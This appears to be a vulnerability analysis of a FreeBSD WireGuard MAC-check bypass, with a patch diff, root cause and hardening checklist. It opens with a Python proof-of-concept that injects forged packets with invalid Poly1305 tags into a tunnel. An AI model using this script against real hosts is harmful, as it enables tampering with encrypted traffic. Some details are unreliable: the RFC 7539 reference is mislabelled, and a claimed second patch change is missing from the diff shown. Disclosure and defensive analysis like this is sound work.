The Exploit
An attacker with network access to a FreeBSD host running WireGuard can modify in-flight tunnel packets without triggering authentication failure, provided they can estimate the receiver's replay window bounds.
#!/usr/bin/env python3
"""
CVE-2026-58085 PoC: WireGuard MAC Verification Bypass on FreeBSD
Demonstrates forged packet injection past Poly1305 check.
Target: FreeBSD host with wg(4) driver, WireGuard tunnel active
Attacker position: On-path or able to send UDP to endpoint
"""
import socket
import struct
import sys
def inject_forged_packet(target_host, target_port, forged_ciphertext, forged_tag):
"""
Send a crafted WireGuard packet with invalid Poly1305 tag.
The vulnerable wg(4) driver will accept it because crp_etype
(crypto operation error) is never checked after dispatch.
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Minimal WireGuard packet structure
# message_type (1 byte) + reserved (3) + sender_index (4) +
# counter (8) + ciphertext + tag (16)
packet = struct.pack('<I', 2) # message_type 2 = transport data
packet += struct.pack('<I', 0x00000001) # sender_index (attacker's guess)
packet += struct.pack('<Q', 0x0000000000000042) # counter (within replay window)
packet += forged_ciphertext
packet += forged_tag # 16-byte invalid Poly1305 tag
sock.sendto(packet, (target_host, target_port))
sock.close()
print(f"[+] Forged packet sent to {target_host}:{target_port}")
print(f"[+] Packet structure: type=2, counter=66, tag (invalid)={forged_tag.hex()}")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "192.0.2.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 51820
# Attacker-controlled forged ciphertext and invalid MAC
forged_ct = b'\x00' * 64 # Arbitrary payload (will decrypt to garbage without valid MAC)
forged_mac = b'\xff' * 16 # Intentionally invalid Poly1305 tag
inject_forged_packet(target, port, forged_ct, forged_mac)
print("[*] If vulnerable: packet accepted despite invalid MAC")
print("[*] If patched: packet dropped with authentication error")
When this packet arrives at a vulnerable FreeBSD receiver, the wg(4) driver dispatches the decryption and MAC verification to the kernel crypto framework (OCF), but never reads the result (crp_etype). The packet is silently accepted even though Poly1305 validation failed. A patched kernel rejects it immediately.
What the Patch Did
Before
ret = crypto_dispatch(&crp);
crypto_destroyreq(&crp);
return (ret);
After
ret = crypto_dispatch(&crp);
if (ret == 0)
ret = crp.crp_etype;
crypto_destroyreq(&crp);
return (ret);
The patch adds a cryptographic operation result check: after crypto_dispatch() returns successfully (indicating the request was queued), the code now inspects crp.crp_etype to detect deferred operation failures. In synchronous crypto contexts, crp_etype is populated with the authentication status (0 for valid MAC, non-zero for invalid). The original code treated a successful dispatch as a successful operation, conflating two distinct return paths. The patch also validates that the crypto session is synchronous via CRYPTO_SESS_SYNC() and rejects asynchronous sessions with cleanup, preventing the same error from occurring in async contexts where crp_etype would be populated later.
Root Cause
CWE-252: Unchecked Return Value — The vulnerability lies in the assumption that crypto_dispatch() completing without error means the cryptographic operation itself succeeded. The function returns 0 when the request is accepted, not when the MAC verification passes. The result of the actual operation — whether Poly1305 validation succeeded — is stored in the opaque crp_etype field and was never consulted. An attacker who sends a packet with an invalid MAC triggers the OCF dispatch to execute, which correctly detects the MAC mismatch and sets crp_etype to a non-zero error value. The FreeBSD kernel's synchronous crypto provider (used by default) completes the operation inline and populates this field immediately, but the wg(4) driver discarded the result. The dataflow: attacker-controlled ciphertext and MAC tag (from the UDP packet payload) flow into the OCF via crypto_dispatch(&crp), which sets crp_etype on failure. The driver's return value (ret) was taken from crypto_dispatch()'s return code alone, never from the operation status in crp_etype. This unchecked result became the "success" signal passed up to packet acceptance logic.
Why It Works
The load-bearing line is ret = crp.crp_etype; — removing it leaves the bug exploitable because the driver will still return 0 (success) even when the MAC failed. The check if (ret == 0) is a guard: it ensures that only when dispatch itself succeeded (not queued, not failed immediately) do we inspect the operation result. If crypto_dispatch() returns non-zero, we bail early and never touch crp_etype, avoiding undefined behavior if the structure was not populated. The second fix — the CRYPTO_SESS_SYNC() validation — prevents a different attack surface: an asynchronous crypto provider would not populate crp_etype before dispatch returns, causing the same unchecked-result bug even if the first patch were in place. By rejecting async sessions at init time, the maintainers ensured that all code paths using this session handle synchronous operations where crp_etype is valid immediately. Together, these two checks close both the synchronous path (read the error) and the asynchronous path (reject it).
Hardening Checklist
- Always check cryptographic operation results, not just dispatch status. On FreeBSD OCF, inspect
crp.crp_etypeafter dispatch, or use a higher-level API that bundles both checks. On Linux, verify theaead_requestcallback status. On OpenSSL, never ignoreEVP_*_final()return values. - Validate that your crypto provider matches your usage pattern. If you assume synchronous execution (result available immediately), call
CRYPTO_SESS_SYNC()or equivalent at session creation and fail fast if not met. Do not assume the kernel's default provider matches your requirements. - Fuzz or unit-test with invalid MACs in every packet type. Use AFL or libFuzzer to inject corrupted authentication tags into your packet handler. Verify that 100% of invalid MACs are rejected, not silently accepted.
- Use compiler warnings and static analysis. Enable
-Wunused-resultand runcppcheckor Clang's static analyzer to flag return values that are read but not checked (e.g., assign-but-never-use patterns). The OCF dispatch was non-__must_check__but the caller's intent should be validated by tooling.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-58085
- FreeBSD Security Advisory (vendor documentation)
- WireGuard Protocol RFC 7539 (Poly1305 AEAD specification)